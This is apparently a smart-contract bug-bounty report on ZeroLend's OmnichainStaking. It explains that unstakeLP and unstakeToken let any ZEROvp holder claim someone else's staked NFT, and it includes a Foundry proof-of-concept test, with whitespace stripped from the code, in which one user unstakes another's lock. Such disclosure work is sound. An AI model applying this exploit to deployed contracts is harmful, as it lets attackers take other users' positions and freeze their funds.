29135 - [SC - Critical] OmnichainStakingsolunstakeLP and OmnichainStaki...
Submitted on Mar 8th 2024 at 07:52:20 UTC by @jovi for Boost | ZeroLend
Report ID: #29135
Report type: Smart Contract
Report severity: Critical
Target: https://github.com/zerolend/governance
Impacts:
Direct theft of any user NFTs, whether at-rest or in-motion, other than unclaimed royalties
Temporary freezing of funds for at least 1 hour
Permanent freezing of funds
Description
Brief/Intro
The unstakeLP and the unstakeToken functions at the OmnichainStaking contracts allow a user to burn ZEROvp tokens in order to get back user-defined tokenIds. This enables malicious parties to unstake tokens they don't rightfully own.
Vulnerability Details
If we take a look at both unstaking functions, there are no checks to ensure the transaction caller has any right to that token id, rather the functions check if the caller owns enough ZEROvp token to be burnt.
This is not necessarily an issue if taken only at the OmnichainStaking contract context. However, considering different NFTs have different lock expiries at both the LockerToken and the LockerLP contracts, malicious parties can unstake token ids to benefit in different forms, as shown at the impact section.
Impact Details
Users can receive tokens before their lock expiry ends by unstaking ERC-721 tokens that have earlier expiry without the authorization of their rightful owners. This leads to the freezing of user funds that can be never-ending as other people can claim before the rightful owner.
References
unstakeLP and unstakeToken functions at OmnichainStaking.sol: https://github.com/zerolend/governance/blob/main/contracts/locker/OmnichainStaking.sol#L76C5-L84C6
votingPowerOf and calculatePower functions at BaseLocker.sol: https://github.com/zerolend/governance/blob/main/contracts/locker/BaseLocker.sol#L103C5-L116C6
Proof of concept
Paste the following code snippet inside the test folder:
// SPDX-License-Identifier: MITpragmasolidity ^0.8.20;import {console} from"../../lib/forge-std/src/console.sol";import {StdInvariant} from"../../lib/forge-std/src/StdInvariant.sol";import {LockerLP} from"../../locker/LockerLP.sol";import {LockerToken} from"../../locker/LockerToken.sol";import {OmnichainStaking} from"../../locker/OmnichainStaking.sol";import {Test} from"../../lib/forge-std/src/Test.sol";import {ERC20} from"@openzeppelin/contracts/token/ERC20/ERC20.sol";contractMintableERC20isERC20 {addresspublic owner;constructor(stringmemory name,stringmemory symbol) ERC20(name, symbol) { owner = msg.sender; }modifieronlyOwner() {require(msg.sender == owner,"MintableERC20: caller is not the owner"); _; }functionmint(address to,uint256 amount) publiconlyOwner {_mint(to, amount); }}contractZeroLendTestisStdInvariant, Test { LockerLP lockerLP; LockerToken lockerToken; OmnichainStaking omnichainStaking; MintableERC20 arbitraryToken;address user =makeAddr("user");address alice =makeAddr("alice");address bob =makeAddr("bob");addresspublic configurator =makeAddr("configurator");uint256internal WEEK;uint256internal MAXTIME;functionsetUp() public { vm.prank(configurator); arbitraryToken =newMintableERC20("Arbitrary Token","ATKN"); vm.prank(configurator); arbitraryToken.mint(user,1ether); vm.prank(configurator); arbitraryToken.mint(alice,1ether); vm.prank(configurator); arbitraryToken.mint(bob,1ether); vm.prank(configurator); lockerLP =newLockerLP(); lockerLP.init(address(arbitraryToken),// staking addressaddress(0x1000),// stakingBonusaddress(0x1001) ); lockerToken =newLockerToken(); lockerToken.init(address(arbitraryToken),// staking addressaddress(0x1000),// stakingBonusaddress(0x1001) ); omnichainStaking =newOmnichainStaking(); omnichainStaking.init(// LZ endpointaddress(0x1002),// tokenLockeraddress(lockerToken),// lpLockeraddress(lockerLP) ); WEEK =1weeks; MAXTIME =365*86400; }functiontest_poc1() public { vm.prank(alice); arbitraryToken.approve(address(lockerLP),1ether); vm.prank(bob); arbitraryToken.approve(address(lockerLP),1ether);uint256 unlockTime0 = ((block.timestamp + MAXTIME) / WEEK) * WEEK -100; // Locktime is rounded down to weeks vm.prank(alice); lockerLP.createLock(0.5ether, unlockTime0,false);// pass 2 weeks vm.warp(block.timestamp +2* WEEK);uint256 unlockTime1 = unlockTime0 +1* WEEK; // Locktime is rounded down to weeks vm.prank(bob); lockerLP.createLock(0.5ether, unlockTime1,false);// transfer both tokens to the omnichainStaking contract vm.prank(alice); lockerLP.safeTransferFrom(alice,address(omnichainStaking),1); vm.prank(bob); lockerLP.safeTransferFrom(bob,address(omnichainStaking),2);// get the lock 1 expiry (,uint256 end,,) = lockerLP.locked(1);// travel to the expiry period + 1 day vm.warp(end +1days);require(end < block.timestamp);// bob will unstake alice's token and be able to withdraw the token at the lockerLp contract. vm.prank(bob); omnichainStaking.unstakeLP(1);// alice will try to unstake her token and fail vm.prank(alice); vm.expectRevert(); omnichainStaking.unstakeLP(1);// alice will end be able to unstake bob's token, but notice how it is still locked at the lockerLp contract (,end,,) = lockerLP.locked(2);require(end > block.timestamp); }}